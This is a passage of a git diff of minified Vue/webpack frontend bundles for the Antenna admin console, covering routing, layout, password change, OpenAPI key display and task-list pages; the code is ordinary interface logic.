js":"6f12","./it.js":"6e98","./ja":"079e","./ja.js":"079e","./jv":"b540","./jv.js":"b540","./ka":"201b","./ka.js":"201b","./kk":"6d79","./kk.js":"6d79","./km":"e81d","./km.js":"e81d","./kn":"3e92","./kn.js":"3e92","./ko":"22f8","./ko.js":"22f8","./ku":"2421","./ku.js":"2421","./ky":"9609","./ky.js":"9609","./lb":"440c","./lb.js":"440c","./lo":"b29d","./lo.js":"b29d","./lt":"26f9","./lt.js":"26f9","./lv":"b97c","./lv.js":"b97c","./me":"293c","./me.js":"293c","./mi":"688b","./mi.js":"688b","./mk":"6909","./mk.js":"6909","./ml":"02fb","./ml.js":"02fb","./mn":"958b","./mn.js":"958b","./mr":"39bd","./mr.js":"39bd","./ms":"ebe4","./ms-my":"6403","./ms-my.js":"6403","./ms.js":"ebe4","./mt":"1b45","./mt.js":"1b45","./my":"8689","./my.js":"8689","./nb":"6ce3","./nb.js":"6ce3","./ne":"3a39","./ne.js":"3a39","./nl":"facd","./nl-be":"db29","./nl-be.js":"db29","./nl.js":"facd","./nn":"b84c","./nn.js":"b84c","./oc-lnc":"167b","./oc-lnc.js":"167b","./pa-in":"f3ff","./pa-in.js":"f3ff","./pl":"8d57","./pl.js":"8d57","./pt":"f260","./pt-br":"d2d4","./pt-br.js":"d2d4","./pt.js":"f260","./ro":"972c","./ro.js":"972c","./ru":"957c","./ru.js":"957c","./sd":"6784","./sd.js":"6784","./se":"ffff","./se.js":"ffff","./si":"eda5","./si.js":"eda5","./sk":"7be6","./sk.js":"7be6","./sl":"8155","./sl.js":"8155","./sq":"c8f3","./sq.js":"c8f3","./sr":"cf1e","./sr-cyrl":"13e9","./sr-cyrl.js":"13e9","./sr.js":"cf1e","./ss":"52bd","./ss.js":"52bd","./sv":"5fbd","./sv.js":"5fbd","./sw":"74dc","./sw.js":"74dc","./ta":"3de5","./ta.js":"3de5","./te":"5cbb","./te.js":"5cbb","./tet":"576c","./tet.js":"576c","./tg":"3b1b","./tg.js":"3b1b","./th":"10e8","./th.js":"10e8","./tk":"5aff","./tk.js":"5aff","./tl-ph":"0f38","./tl-ph.js":"0f38","./tlh":"cf75","./tlh.js":"cf75","./tr":"0e81","./tr.js":"0e81","./tzl":"cf51","./tzl.js":"cf51","./tzm":"c109","./tzm-latn":"b53d","./tzm-latn.js":"b53d","./tzm.js":"c109","./ug-cn":"6117","./ug-cn.js":"6117","./uk":"ada2","./uk.js":"ada2","./ur":"5294","./ur.js":"5294","./uz":"2e8c","./uz-latn":"010e","./uz-latn.js":"010e","./uz.js":"2e8c","./vi":"2921","./vi.js":"2921","./x-pseudo":"fd7e","./x-pseudo.js":"fd7e","./yo":"7f33","./yo.js":"7f33","./zh-cn":"5c3a","./zh-cn.js":"5c3a","./zh-hk":"49ab","./zh-hk.js":"49ab","./zh-mo":"3a6c","./zh-mo.js":"3a6c","./zh-tw":"90ea","./zh-tw.js":"90ea"};function n(e){var t=r(e);return a(t)}function r(e){if(!a.o(s,e)){var t=new Error("Cannot find module '"+e+"'");throw t.code="MODULE_NOT_FOUND",t}return s[e]}n.keys=function(){return Object.keys(s)},n.resolve=r,e.exports=n,n.id="4678"},4688:function(e,t,a){},"4bd8":function(e,t,a){"use strict";a("fccb")},"50f7":function(e,t,a){"use strict";a("f9ec")},"56d7":function(e,t,a){"use strict";a.r(t);a("9f9e");var s=a("2c92"),n=(a("0ece"),a("27fd")),r=(a("b846"),a("a071")),o=(a("48e3"),a("2fc4")),i=(a("e1f5"),a("5efb")),c=(a("19ac"),a("cdeb")),u=(a("1815"),a("e32c")),l=(a("5b61"),a("4df5")),d=(a("ee33"),a("a79d")),p=(a("73d0"),a("a600")),m=(a("c721"),a("3af3")),f=(a("b4bf"),a("ff57")),g=(a("805a"),a("0c63")),h=(a("a71a"),a("b558")),b=(a("a106"),a("09d9")),v=(a("d2a2"),a("98c5")),j=(a("06ea"),a("fe2b")),k=(a("91dc"),a("d49c")),y=(a("380f"),a("f64c")),w=(a("b6e5"),a("55f1")),_=(a("04f3"),a("ed3b")),x=(a("368b"),a("56cd")),C=(a("9967"),a("de1b")),$=(a("564f"),a("768f")),O=(a("8b88"),a("681b")),S=(a("50ac"),a("9a63")),A=(a("02cf"),a("9839")),P=(a("480a"),a("bf7b")),z=(a("055b"),a("160c")),R=(a("0723"),a("0020")),T=(a("3e86"),a("7571")),E=(a("9e39"),a("f933")),M=(a("153b"),a("9571")),N=(a("5e72"),a("3779")),L=(a("c0ed"),a("9fd0")),K=(a("0a41"),a("1d87")),D=(a("1c85"),a("ccb9")),I=(a("7a59"),a("39ab")),B=(a("4bbf"),a("59a5")),F=a("2b0e"),U=(a("01d7"),a("202f"),function(){var e=this,t=e.$createElement,a=e._self._c||t;return a("div",{attrs:{id:"app"}},[a("router-view")],1)}),q=[],Z={data(){return{collapsed:!1}},created(){},mounted(){}},J=Z,Y=(a("50f7"),a("2877")),H=Object(Y["a"])(J,U,q,!1,null,null,null),G=H.exports,V=(a("e996"),a("a18c"));function W(e,t){/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(e.getFullYear()+"").substr(4-RegExp.$1.length)));const a={"M+":e.getMonth()+1,"d+":e.getDate(),"h+":e.getHours(),"m+":e.getMinutes(),"s+":e.getSeconds()};for(const s in a)if(new RegExp(`(${s})`).test(t)){const e=a[s]+"";t=t.replace(RegExp.$1,1===RegExp.$1.length?e:Q(e))}return t}function Q(e){return("00"+e).substr(e.length)}const X=function(e){var t=new Date(e);return W(t,"yyyy-MM-dd hh:mm:ss")};var ee={wuba_dateformat:X};Object.keys(ee).forEach(e=>F["a"].filter(e,ee[e])),F["a"].use(s["a"]).use(n["a"]).use(r["a"]).use(o["a"]).use(i["a"]).use(c["a"]).use(u["a"]).use(l["a"]).use(d["a"]).use(p["a"]).use(m["a"]).use(f["a"]).use(g["a"]).use(h["a"]).use(b["a"]).use(v["a"]).use(j["b"]).use(k["b"]).use(y["a"]).use(w["a"]).use(_["a"]).use(x["a"]).use(C["a"]).use($["a"]).use(O["a"]).use(S["a"]).use(A["b"]).use(P["a"]).use(z["a"]).use(R["a"]).use(T["a"]).use(E["a"]).use(M["a"]).use(N["a"]).use(L["a"]).use(K["a"]).use(D["a"]).use(I["a"]).use(B["a"]),F["a"].config.productionTip=!1,F["a"].prototype.$message=y["a"],F["a"].prototype.$notification=x["a"],F["a"].prototype.$confirm=_["a"].confirm,new F["a"]({router:V["a"],render:e=>e(G)}).$mount("#app")},"6cd2":function(e,t,a){"use strict";a("4688")},"6ed4":function(e,t,a){e.exports=a.p+"img/weixin.3b5fa652.png"},7136:function(e,t,a){e.exports=a.p+"img/zuozhe.091aaae6.jpeg"},a18c:function(e,t,a){"use strict";a("368b");var s=a("56cd"),n=a("2b0e"),r=a("8c4f"),o=function(){var e=this,t=e.$createElement,a=e._self._c||t;return a("section",{staticClass:"app-main"},[a("transition",{attrs:{name:"fade-transform",mode:"out-in"}},[a("router-view",{key:e.key})],1)],1)},i=[],c={name:"AppMain",computed:{key(){return this.$route.path}}},u=c,l=(a("4bd8"),a("2877")),d=Object(l["a"])(u,o,i,!1,null,"20c9648c",null),p=d.exports,m=function(){var e=this,t=e.$createElement,s=e._self._c||t;return s("a-layout-sider",{attrs:{collapsible:"",width:"208px",trigger:null},model:{value:e.collapsed,callback:function(t){e.collapsed=t},expression:"collapsed"}},[s("div",{staticClass:"imgContainer"},[s("img",{staticClass:"titleImg",attrs:{src:a("cf05"),alt:""}}),s("div",{directives:[{name:"show",rawName:"v-show",value:!e.collapsed,expression:"!collapsed"}],staticClass:"title"},[e._v("Antenna")])]),s("a-menu",{staticClass:"my-navbar",attrs:{mode:"inline","open-keys":e.openKeys,selectedKeys:e.selectedKeys},on:{openChange:e.changeOpen}},[e._l(e.baseRoute,(function(t,a){return[t.redirect?s("SubMenu",{key:a,attrs:{currentRoute:t}}):s("a-menu-item",{key:t.path,on:{click:function(a){return e.jump(t.path)}}},[s("a-icon",{attrs:{type:t.meta.icon}}),s("span",[e._v(e._s(t.meta.title))])],1)]}))],2)],1)},f=[],g=function(e,t){var a=t._c;return a("a-sub-menu",{key:t.props.currentRoute.path},[a("span",{staticClass:"menu-title",attrs:{slot:"title"},slot:"title"},[t.props.currentRoute.meta.icon?a("a-icon",{attrs:{type:t.props.currentRoute.meta.icon}}):t._e(),t.props.currentRoute.meta?a("span",[t._v(" "+t._s(t.props.currentRoute.meta.title)+" ")]):t._e()],1),t._l(t.props.currentRoute.children,(function(e){return[e.children||e.meta.hidden?e.children?a("sub-menu",{key:e.path,attrs:{currentRoute:e}}):t._e():a("a-menu-item",{key:e.path},[a("router-link",{attrs:{to:e.path}},[t._v(" "+t._s(e.meta.title)+" ")])],1)]}))],2)},h=[],b={name:"subMenu",props:{currentRoute:{type:Object,required:!0}},created(){console.log(this.currentRoute,"naoda")}},v=b,j=Object(l["a"])(v,g,h,!0,null,null,null),k=j.exports,y={components:{SubMenu:k},props:{collapsed:{type:Boolean,default:!0}},data(){return{baseRoute:[],openKeys:[],selectedKeys:[],rootSubmenuKeys:[]}},watch:{$route:function(e,t){this.getopenKeys()}},created(){this.getRootSubmenu(),this.getopenKeys(),this.baseRoute=this.getRouter()},mounted(){},methods:{getopenKeys(){let e=[...this.$route.matched];if(e.splice(0,1),this.selectedKeys=[],e.length>1){let t=e.length-1,a=e.length-2;e[a].redirect?this.selectedKeys.push(this.$route.path):this.selectedKeys.push(e[a].path);for(let s=0;s-1===this.openKeys.indexOf(e));-1===this.rootSubmenuKeys.indexOf(t)?this.openKeys=e:this.openKeys=t?[t]:[]},jump(e){this.$router.push({path:e})},getRouter(){let e=re[0].children,t=sessionStorage.getItem("role");for(let a=0;a{if(!e)return console.log("error submit!!"),!1;this.loading=!0,T["a"].getChangePassword({username:this.form.username,old_password:this.form.oldPassword,password:this.form.password,password_confirm:this.form.password}).then(e=>{this.loading=!1,1===e.code?(sessionStorage.clear(),this.$router.push({name:"login"}),this.$message.success("修改成功")):this.$message.error(e.message)},e=>{this.loading=!1})})},onClose(){this.$refs.ruleForm.resetFields(),this.$emit("onClose")},validatePass2(e,t,a){this.$refs.ruleForm.validateField("password",e=>{e||(t!==this.form.password&&a(new Error("两次密码不一致")),a())})},getPasswordChange(){this.form.passwordAgain=""}}},M=E,N=Object(l["a"])(M,z,R,!1,null,null,null),L=N.exports,K=function(){var e=this,t=e.$createElement,s=e._self._c||t;return s("a-config-provider",{attrs:{locale:e.locale}},[s("a-layout",{attrs:{id:"components-layout-demo-top-side-2"}},[s("navbar",{attrs:{collapsed:e.collapsed}}),s("a-layout",[s("a-layout-header",{staticClass:"header clearfix"},[s("a-row",[s("a-col",{attrs:{span:1}},[s("a-icon",{staticClass:"trigger",attrs:{type:e.collapsed?"menu-unfold":"menu-fold"},on:{click:function(){return e.collapsed=!e.collapsed}}})],1),s("a-col",{attrs:{span:10}},[s("Breadcrumb")],1),s("a-col",{staticClass:"textR",attrs:{span:13}},[s("a-space",[s("img",{staticStyle:{width:"20px"},attrs:{src:a("359c"),alt:""},on:{click:e.gotoGithub}}),s("a-popover",[s("template",{slot:"content"},[s("img",{attrs:{src:a("7136"),alt:"",width:"80"}})]),s("img",{staticStyle:{width:"20px"},attrs:{src:a("6ed4"),alt:""}})],2),s("a-divider",{attrs:{type:"vertical"}}),s("a-dropdown",[s("span",{staticClass:"ant-dropdown-link",on:{click:function(e){return e.preventDefault()}}},[e._v(" "+e._s(e.userName)+" ")]),s("a-menu",{attrs:{slot:"overlay"},slot:"overlay"},[s("a-menu-item",[s("a",{attrs:{href:"javascript:;"},on:{click:e.modify}},[e._v("修改密码")])]),s("a-menu-item",[s("a",{attrs:{href:"javascript:;"},on:{click:e.logout}},[e._v("退出")])])],1)],1)],1)],1)],1)],1),s("a-layout",{staticClass:"mian-contents"},[s("a-layout-content",{staticClass:"main-down"},[s("app-main",{staticStyle:{width:"100%"}}),s("div",{staticClass:"bottomTitle"},[e._v("© "+e._s(e.currentYear)+" Copyright "+e._s(e.currentYear)+" 58同城安全")])],1)],1)],1),s("ChangePassword",{attrs:{visible:e.visible},on:{onClose:e.close}})],1)],1)},D=[],I=a("677e"),B=a.n(I),F=function(){var e=this,t=e.$createElement,a=e._self._c||t;return a("a-breadcrumb",{staticClass:"breadcrumb_div",attrs:{routes:e.routes},scopedSlots:e._u([{key:"itemRender",fn:function(t){var s=t.route,n=(t.params,t.routes);t.paths;return[n.indexOf(s)===n.length-1?a("span",[e._v(" "+e._s(s.meta.title)+" ")]):a("router-link",{attrs:{to:s.redirect?s.redirect:s.path}},[e._v(" "+e._s(s.meta.title)+" ")])]}}])})},U=[],q={data(){return{routes:[{path:"/dashboard/workplace",breadcrumbName:"home"},{path:"first",breadcrumbName:"first"},{path:"second",breadcrumbName:"second"}]}},watch:{$route(e,t){this.getBreadcrumb()}},created(){this.getBreadcrumb()},mounted(){},methods:{isHome(e){return"dashboard"===e.name},getBreadcrumb(){let e=[...this.$route.matched];"dashboard"===e[1].name&&e.splice(1,1),this.routes=e}}},Z=q,J=(a("6cd2"),Object(l["a"])(Z,F,U,!1,null,"961643e8",null)),Y=J.exports,H=a("1294"),G=a("c24c"),V=a.n(G),W={name:"Layout",components:{AppMain:p,Navbar:x,Breadcrumb:Y,ChangePassword:L},data(){return{collapsed:!1,locale:B.a,userName:sessionStorage.getItem("username"),testData:H["a"].testData,visible:!1}},created(){this.getManageNum()},async mounted(){await this.firstLogin(),this.newNav()},computed:{currentYear(){let e=new Date;return e.getFullYear()},count:function(){return this.testData.num}},methods:{newNav(){let e=sessionStorage.getItem("firstLogin");if("true"==e){const e=new V.a({animate:!1,allowClose:!1});let t=setTimeout(()=>{let a=!0;e.defineSteps([{element:document.getElementsByClassName("ant-menu-item")[1],popover:{title:"任务管理",description:"管理所有的任务,点击查看所有任务",position:"right"},showButtons:!0,doneBtnText:"下一步",closeBtnText:"跳出",onDeselected:()=>{a&&sessionStorage.setItem("firstLogin","false")},onNext:()=>{a=!1,this.$router.push({path:"tasklist"})}}]),e.start(),clearTimeout(t)},10)}},async firstLogin(){await T["a"].first_login().then(e=>{e.data.first_login?sessionStorage.setItem("firstLogin","false"):sessionStorage.setItem("firstLogin","true")})},gotoGithub(){window.open("https://github.com/wuba/Antenna","_blank")},logout(){T["a"].getLogout().then(e=>{1===e.code?(this.$message.success(e.message),sessionStorage.clear(),this.$router.push({name:"login"})):this.$message.error(e.message)})},modify(){this.visible=!0},close(){this.visible=!1},getManageNum(){T["a"].getManage().then(e=>{1===e.code&&this.testData.handleNum(e.data.count)})},getMessageDetail(){this.$router.push({name:"message"})}}},Q=W,X=(a("3cf4"),Object(l["a"])(Q,K,D,!1,null,null,null)),ee=X.exports;const te={name:"RouteView",render:e=>e("router-view")};let ae=["0","1"],se=["1"];const ne=[{path:"/",name:"index",component:ee,meta:{title:"主页"},redirect:"/dashboard",children:[{path:"/dashboard",name:"dashboard",component:()=>a.e("chunk-22bd84f9").then(a.bind(null,"004c")),meta:{title:"主页",permission:ae,icon:"dashboard",isExpanded:!1},children:[{path:"/dashboard/workplace",name:"Workplace",component:()=>a.e("chunk-2d0f0260").then(a.bind(null,"9aac")),meta:{title:"详情页",keepAlive:!0,permission:ae,hidden:!0}}]},{path:"/tasklist",name:"tasklist",component:()=>a.e("chunk-2bdabd8c").then(a.bind(null,"8f98")),meta:{title:"任务管理",keepAlive:!0,permission:ae,icon:"table"}},{path:"/components",name:"components",component:()=>a.e("chunk-bf3dd8b2").then(a.bind(null,"a749")),meta:{title:"组件管理",keepAlive:!0,permission:ae,icon:"appstore",isExpanded:!1},children:[{path:"componentsdetail",name:"components-detail",component:()=>a.e("chunk-2d226705").then(a.bind(null,"e950")),meta:{title:"详情页",keepAlive:!0,permission:ae,hidden:!0}}]},{path:"/message",name:"message",component:()=>a.e("chunk-01ffd942").then(a.bind(null,"0944")),meta:{title:"消息列表",keepAlive:!0,permission:ae,icon:"sound"}},{path:"/setting",name:"setting",redirect:"/setting/user",component:te,meta:{title:"系统设置",keepAlive:!0,permission:se,icon:"setting"},children:[{path:"/setting/user",name:"setting-user",component:()=>a.e("chunk-6068f977").then(a.bind(null,"16ab")),meta:{title:"用户管理",keepAlive:!0,permission:se}},{path:"/setting/platform",name:"setting-platform",component:()=>a.e("chunk-c2474cc0").then(a.bind(null,"4505")),meta:{title:"平台管理",keepAlive:!0,permission:se}}]},{path:"/open",name:"open-api",component:()=>a.e("chunk-c1263c66").then(a.bind(null,"3cc2")),meta:{title:"OpenAPI",keepAlive:!0,permission:ae,icon:"control"}}]},{path:"/user",component:P,redirect:"/user/login",hidden:!0,children:[{path:"login",name:"login",component:()=>a.e("user").then(a.bind(null,"ac2a")),meta:{type:"login"}},{path:"register",name:"register",component:()=>a.e("user").then(a.bind(null,"1348")),meta:{type:"login"}},{path:"register-result",name:"registerResult"},{path:"recover",name:"recover",component:void 0}]},{path:"/404",component:()=>a.e("fail").then(a.bind(null,"cc89"))},{path:"*",redirect:"/404",hidden:!0}];var re=ne,oe=a("323e"),ie=a.n(oe);const ce=r["a"].prototype.push;r["a"].prototype.push=function(e){return ce.call(this,e).catch(e=>e)},n["a"].use(r["a"]);const ue=new r["a"]({routes:re});ue.beforeEach((e,t,a)=>{ie.a.start();const n=sessionStorage.getItem("token");if(n){let t=e.meta.permission;if(t){let e=t.indexOf(sessionStorage.getItem("role"));e>-1||(s["a"].error({message:"err",description:"没有权限"}),ue.push({path:"/dashboard"})),a()}else a()}else"login"===e.meta.type?a():a({path:"user/login"});"login"===e.meta.type&&(n?a({path:t.fullPath}):a()),e.meta.title&&(document.title=e.meta.title),a()}),ue.afterEach(()=>{ie.a.done()});t["a"]=ue},cf05:function(e,t,a){e.exports=a.p+"img/logo.f700f51b.png"},e996:function(e,t,a){},edc7:function(e,t,a){"use strict";a("f825")},f825:function(e,t,a){},f9ec:function(e,t,a){},fccb:function(e,t,a){}}); \ No newline at end of file diff --git a/static/js/chunk-14f9b6b5.80ee1094.js b/static/js/chunk-14f9b6b5.80ee1094.js deleted file mode 100644 index 4004b47..0000000 --- a/static/js/chunk-14f9b6b5.80ee1094.js +++ /dev/null @@ -1 +0,0 @@ -(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-14f9b6b5"],{"013d":function(t,e,a){"use strict";a("568c")},"2d2c":function(t,e,a){"use strict";var o=function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("a-tooltip",{attrs:{slot:"suffix",title:t.copyTitle},slot:"suffix"},[a("a-icon",{staticClass:"copy",attrs:{type:t.copyIcon},on:{click:function(e){return t.copyEvent(t.text)},mouseleave:t.copyMouseleave}})],1)},s=[],c=a("b893"),l={data(){return{copyIcon:"copy",copyTitle:"复制到剪贴板"}},props:{text:""},methods:{copyEvent(t){let e=this;Object(c["copyText"])(t,(function(){e.copyIcon="check",e.copyTitle="复制成功"}))},copyMouseleave(){"check"===this.copyIcon&&(this.copyIcon="copy")}}},n=l,r=(a("c483"),a("2877")),i=Object(r["a"])(n,o,s,!1,null,"2eccf1f6",null);e["a"]=i.exports},"3cc2":function(t,e,a){"use strict";a.r(e);var o=function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",{staticClass:"platform"},[a("div",{staticClass:"div_card"},[t._m(0),a("div",{staticClass:"content"},[a("a-form-model",{attrs:{model:t.form,"label-col":t.labelCol,"wrapper-col":t.wrapperCol}},[a("a-form-model-item",{attrs:{label:"API_Key"}},[a("a-row",{attrs:{gutter:6}},[a("a-col",{attrs:{span:18}},[a("a-input",{attrs:{placeholder:"请输入",readOnly:""},model:{value:t.form.domain,callback:function(e){t.$set(t.form,"domain",e)},expression:"form.domain"}},[a("my-copy",{attrs:{slot:"suffix",text:t.form.domain},slot:"suffix"})],1)],1),a("a-col",{attrs:{span:6}},[a("a-button",{on:{click:t.refresh}},[t._v("重置")])],1)],1)],1)],1)],1)]),a("div",{staticClass:"div_card"},[t._m(1),a("div",{staticClass:"content"},[a("a-form-model",{attrs:{model:t.form1,layout:"vertical"}},[a("a-form-model-item",{attrs:{label:"获取各类消息记录"}},t._l(t.urllist,(function(e,o){return a("a-input-group",{key:o,attrs:{compact:""}},[a("a-button",{attrs:{type:"primary"}},[t._v(t._s(e.method))]),a("a-input",{staticStyle:{width:"60%"},attrs:{placeholder:"请输入"},model:{value:e.url,callback:function(a){t.$set(e,"url",a)},expression:"it.url"}},[a("my-copy",{attrs:{slot:"suffix",text:e.url},slot:"suffix"})],1)],1)})),1)],1)],1)])])},s=[function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",{staticClass:"title clearfix"},[a("div",{staticClass:"left"},[t._v("API设置")])])},function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",{staticClass:"title clearfix"},[a("div",{staticClass:"left"},[t._v("API列表")])])}],c=a("2d2c"),l=a("0995"),n={components:{MyCopy:c["a"]},data(){return{labelCol:{span:4},wrapperCol:{span:10},form:{domain:""},value1:"Zhejiang",value2:"",value3:"",form1:{notice:!0,serve:"",port:"8080",account:"",password:"8080"},urllist:[]}},created(){this.initData()},mounted(){},methods:{initData(){l["a"].all([l["a"].getOpenAPI().then(t=>{if(1===t.code){let{data:{results:e}}=t;this.form.domain=e[0].key}else this.$message.error(t.message)}),l["a"].getOpenAPIUrl().then(t=>{if(1===t.code){let{data:{urllist:e}}=t;this.urllist=e}else this.$message.error(t.message)})]).then(t=>{})},refresh(){l["a"].getRefreshOpenAPI().then(t=>{if(1===t.code){let{data:e}=t;this.form.domain=e.key}else this.$message.error(t.message)})}}},r=n,i=(a("013d"),a("2877")),u=Object(i["a"])(r,o,s,!1,null,"0d3dc430",null);e["default"]=u.exports},"4af6":function(t,e,a){},"568c":function(t,e,a){},b893:function(t,e){function a(t){let e={};for(const a in t)e[a]=t[a].join(",");return e}function o(t,e){var a=document.createElement("input");a.setAttribute("id","cp_hgz_input"),a.value=t,document.getElementsByTagName("body")[0].appendChild(a),document.getElementById("cp_hgz_input").select(),document.execCommand("copy"),document.getElementById("cp_hgz_input").remove(),e&&e(t)}t.exports={handleFilters:a,copyText:o}},c483:function(t,e,a){"use strict";a("4af6")}}]); \ No newline at end of file diff --git a/static/js/chunk-2bdabd8c.0d884187.js b/static/js/chunk-2bdabd8c.0d884187.js new file mode 100644 index 0000000..f3216c7 --- /dev/null +++ b/static/js/chunk-2bdabd8c.0d884187.js @@ -0,0 +1 @@ +(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-2bdabd8c"],{2173:function(t,e,a){},"2d2c":function(t,e,a){"use strict";var s=function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("a-tooltip",{attrs:{slot:"suffix",title:t.copyTitle},slot:"suffix"},[a("a-icon",{staticClass:"copy",attrs:{type:t.copyIcon},on:{click:function(e){return t.copyEvent(t.text)},mouseleave:t.copyMouseleave}})],1)},i=[],o=a("b893"),l={data(){return{copyIcon:"copy",copyTitle:"复制到剪贴板"}},props:{text:""},methods:{copyEvent(t){let e=this;Object(o["copyText"])(t,(function(){e.copyIcon="check",e.copyTitle="复制成功"}))},copyMouseleave(){"check"===this.copyIcon&&(this.copyIcon="copy")}}},n=l,r=(a("c483"),a("2877")),c=Object(r["a"])(n,s,i,!1,null,"2eccf1f6",null);e["a"]=c.exports},"4af6":function(t,e,a){},"696c":function(t,e,a){"use strict";a("c89e")},"8f98":function(t,e,a){"use strict";a.r(e);var s=function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",[a("div",{staticClass:"div_card"},[t._m(0),a("div",{staticClass:"content"},[a("a-row",{staticClass:"search-area",attrs:{gutter:2}},[a("a-col",{attrs:{span:19}},[a("a-button",{staticClass:"wb-m-r-5",attrs:{type:"primary",icon:"plus-circle",size:"small"},on:{click:t.addEvent}},[t._v(" 新建 ")]),a("a-button",{staticClass:"wb-m-r-5",attrs:{type:"primary",icon:"check-circle",size:"small"},on:{click:function(e){return t.enableEvent(!0)}}},[t._v(" 启用 ")]),a("a-button",{staticClass:"wb-m-r-5",attrs:{type:"primary",icon:"minus-circle",size:"small"},on:{click:function(e){return t.enableEvent(!1)}}},[t._v(" 禁用 ")]),a("a-button",{attrs:{type:"danger",icon:"delete",size:"small"},on:{click:function(e){return t.deleteEvent()}}},[t._v("删除")])],1),a("a-col",{attrs:{span:5}},[a("a-input-search",{attrs:{placeholder:"输入关键字搜索任务名",allowClear:""},on:{search:t.onSearch},model:{value:t.searchValue,callback:function(e){t.searchValue=e},expression:"searchValue"}})],1)],1),a("a-table",{attrs:{columns:t.columns,"data-source":t.data,rowKey:"id",pagination:t.pagination,loading:t.messageLoading,"row-selection":{selectedRowKeys:t.selectedRowKeys,onChange:t.onSelectChange}},on:{change:t.handleTableChange},scopedSlots:t._u([{key:"name",fn:function(e){return a("a",{on:{click:function(a){return a.stopPropagation(),t.editEvent(e)}}},[a("a-popover",[a("template",{slot:"content"},[t._v("点击查看详情")])],2),a("div",{staticClass:"topTip"},[t._v(t._s(e.name))])],1)}},{key:"message_counts",fn:function(e){return a("a",{on:{click:function(a){return a.stopPropagation(),t.jumpEvent(e)}}},[t._v(" "+t._s(e.message_counts)+" ")])}},{key:"status",fn:function(e){return a("span",{},[a("a-switch",{on:{click:function(a){return t.changeStatus(a,e)}},model:{value:e.status,callback:function(a){t.$set(e,"status",a)},expression:"text.status"}})],1)}},{key:"update_time",fn:function(e){return a("span",{},[t._v(t._s(t._f("wuba_dateformat")(e)))])}},{key:"action",fn:function(e){return a("span",{},[a("a",{staticClass:"wb-m-l-5",attrs:{href:"javascript:;"},on:{click:function(a){return t.deleteEvent(e)}}},[t._v("删除")])])}}])})],1)]),t.visible?a("MydDrawer",{attrs:{visible:t.visible,id:t.editId},on:{editEvent:t.update}}):t._e()],1)},i=[function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",{staticClass:"title clearfix"},[a("div",{staticClass:"left"},[t._v("最新任务")])])}],o=a("1294"),l=a("0995"),n=function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",[a("a-drawer",{attrs:{title:t.title,placement:"right",closable:!!t.id,visible:t.visible,width:"40%",wrapClassName:"wb-drawer-div",destroyOnClose:!0,maskClosable:!!t.id,drawerStyle:t.drawerBodyStyle},on:{"update:visible":function(e){t.visible=e},close:t.onClose}},[a("a-card",{staticClass:"wb-m-b-30 clearfix border-radius-5",attrs:{bordered:!1}},[a("div",{attrs:{slot:"title"},slot:"title"},[a("a-icon",{staticClass:"wb-m-r-5",attrs:{twoToneColor:"#eb0806",type:"crown",theme:"twoTone"}}),t._v(" 任务 "),a("a-tooltip",[a("template",{slot:"title"},[t._v("关于监听的介绍")]),a("a-icon",{attrs:{type:"info-circle"}})],2),t.id?a("a-button",{staticClass:"wb-m-r-5 float-right",attrs:{icon:"to-top",size:"small"},on:{click:t.submitAddName}},[t._v(" 保存 ")]):t._e()],1),a("a-form-model",{ref:"taskNameForm",attrs:{model:t.taskNameForm,rules:t.rules,"label-col":t.labelCol,"wrapper-col":t.wrapperCol}},[a("a-form-model-item",{ref:"name",attrs:{prop:"name"}},[a("span",{attrs:{slot:"label"},slot:"label"},[t._v("任务名称")]),a("a-input",{model:{value:t.taskNameForm.name,callback:function(e){t.$set(t.taskNameForm,"name",e)},expression:"taskNameForm.name"}})],1),a("a-form-model-item",{ref:"callback_url",attrs:{prop:"callback_url"}},[a("span",{attrs:{slot:"label"},slot:"label"},[t._v("首页关注")]),a("a-switch",{model:{value:t.taskNameForm.show_dashboard,callback:function(e){t.$set(t.taskNameForm,"show_dashboard",e)},expression:"taskNameForm.show_dashboard"}}),a("a-button",{staticStyle:{float:"right","font-size":"16px"},attrs:{type:"link"},on:{click:function(){t.downAdUp=!t.downAdUp}}},[t._v(" 高级配置 "),t.downAdUp?a("a-icon",{attrs:{type:"down"}}):a("a-icon",{attrs:{type:"up"}})],1)],1),a("a-form-model-item",{directives:[{name:"show",rawName:"v-show",value:!t.downAdUp,expression:"!downAdUp"}],ref:"zzz",attrs:{prop:"zzz"}},[a("span",{attrs:{slot:"label"},slot:"label"},[t._v("通知接口")]),a("a-input",{model:{value:t.taskNameForm.callback_url,callback:function(e){t.$set(t.taskNameForm,"callback_url",e)},expression:"taskNameForm.callback_url"}})],1),a("a-form-model-item",{directives:[{name:"show",rawName:"v-show",value:!t.downAdUp,expression:"!downAdUp"}],ref:"xxx",attrs:{prop:"xxx"}},[a("span",{attrs:{slot:"label"},slot:"label"},[t._v("接口header")]),a("a-input",{model:{value:t.taskNameForm.callback_url_headers,callback:function(e){t.$set(t.taskNameForm,"callback_url_headers",e)},expression:"taskNameForm.callback_url_headers"}})],1)],1)],1),a("a-card",{staticClass:"wb-m-b-30 border-radius-5",attrs:{bordered:!1}},[a("div",{staticClass:"clearfix",attrs:{slot:"title"},slot:"title"},[a("a-icon",{staticClass:"wb-m-r-5",attrs:{type:"notification",theme:"twoTone"}}),t._v(" 监听组件 "),a("a-tooltip",[a("template",{slot:"title"},[t._v("关于监听的介绍")]),a("a-icon",{attrs:{type:"info-circle"}})],2),a("a-button",{staticClass:"wb-m-r-5 float-right",attrs:{icon:"plus",size:"small"},on:{click:function(e){return t.openAddDomain(null,1)}}},[t._v(" 新建 ")])],1),a("a-form-model",t._b({ref:"dynamicValidateForm",staticClass:"wb-form-drawer",attrs:{model:t.dynamicValidateForm}},"a-form-model",t.formItemLayoutWithOutLabel,!1),t._l(t.dynamicValidateForm.domains,(function(e,s){return 